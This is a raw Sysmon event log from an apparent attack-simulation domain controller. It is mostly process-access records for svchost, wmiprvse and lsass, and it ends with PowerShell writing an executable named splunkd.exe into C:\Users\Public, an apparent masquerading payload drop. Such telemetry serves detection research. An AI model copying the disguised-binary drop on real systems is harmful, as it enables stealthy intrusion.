09:09:24.466{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.450{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.450{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.450{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.434{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.059{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.059{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6a63|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.981{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.981{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.981{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.966{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.966{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:23.966{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000001040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:09:23.591{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Public\splunkd.exe2020-10-09 09:08:27.470 10341000x80000000000000001039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 